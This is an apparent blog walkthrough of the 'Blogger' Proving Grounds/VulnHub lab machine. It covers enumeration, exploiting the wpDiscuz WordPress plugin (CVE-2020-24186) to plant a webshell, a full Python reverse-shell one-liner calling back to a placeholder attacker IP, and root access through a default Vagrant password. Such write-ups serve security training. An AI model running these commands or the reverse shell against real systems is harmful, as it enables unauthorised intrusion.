This is the straight and simple blogger proving grounds walkthrough/write-up which is available vulnhub as well. The brief about this machine is as simple as name blogger where a developer hosted a blog and hire a security tester to test it. The blogger proving grounds walkthrough includes directory fuzzing to find the hidden directory and later check for the vulnerable wordpress plugins, which helps to get the foothold on the box. For privilege escalation, tried a very easy method which include default vagrant password and getting root access rights.
Enumeration:
Start with the usual enumeration using nmap or any other port scanner.
nmap -sV Target-IP-Address -oN nmap.txt
As per the above result, there are two open ports, 22 and 80. Port 22 is running SSH with OpenSSH 7.2p2, which is vulnerable to username enumeration – https://www.exploit-db.com/exploits/40136. But we are not interested in it. The other port is 80, where we can see a web service.
As it’s a web service, the best thing we can do is directory fuzzing. Use any tool you like. I used gobuster with the raft-medium wordlist, as in the command given below.
gobuster dir -u http://target-ip/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
We found a directory listing with various paths, and in the fonts path we found another directory named blog.
Opening the blog directory took me to a WordPress blog.
Add blogger.pg hostname to /etc/hosts along with the target IP address so that it resolves properly.
It’s a WordPress site, so the first thing that came to mind was WPScan, though you can use any other tool, like CMSeeK. I used WPScan to enumerate vulnerable plugins. Make sure to configure the WPScan API token to get the vulnerability results.
wpscan --url http://blogger.pg/assets/fonts/blog/ -e vp
The wpDiscuz plugin looks interesting, as the results show many issues with CVEs. Check the plugin with searchsploit or Exploit-DB, as shown below. I used the first Python script, but you can also go with a Metasploit exploit.
Exploit CVE 2020-24186:
I downloaded the Python script from Exploit-DB, checked which parameters are needed, and then executed the command given below.
python 49967.py -u http://blogger.pg/assets/fonts/blog/ -p /?p=29
The above command uploaded a PHP shell, but when I tried to execute a command, it failed. So I followed a manual approach. Open the webshell path in the browser and check whether it’s working with a simple ?cmd=id command.
Later, as I wanted a proper shell on the box, I used the code below to get a reverse shell with netcat. If you don’t know how to use netcat, follow this guide –https://pentestguy.com/the-ultimate-guide-to-netcat/
Make sure to replace the attacker IP with your own IP address, along with the port number.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Attacker-IP",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
Once we got the reverse shell, I checked the james folder and found the local flag. Please note that if you use the VulnHub version, the file is user.txt instead of local.txt.
Privilege Escalation:
After checking a few things, like PwnKit, I decided to try the default Vagrant password.
Then I checked with a simple sudo -l, and bingo, we got root. With this, the privilege escalation part of the Blogger Proving Grounds walkthrough concludes successfully.
Learning:
As I use different distros for pentesting, I observed something really weird this time: tools on Parrot OS, like gobuster, were not giving any output, and the same happened with WPScan, which found no plugins. When I tested with Kali and Mac, both worked fine. So make sure to use updated tools, because sometimes it’s not your fault.
Nowadays everyone is using AI. If you use AI for something like privilege escalation, set a time limit for yourself, because it can suggest endless options and eat up your time, especially in a timed CTF. Also understand how things work, check different resources, and don’t just copy and paste.
If you found this post helpful, please share it with your co-workers and friends. Please leave a comment and let us know if you have any suggestions. You can also collaborate with us, so please check our collaboration page. Thank you!
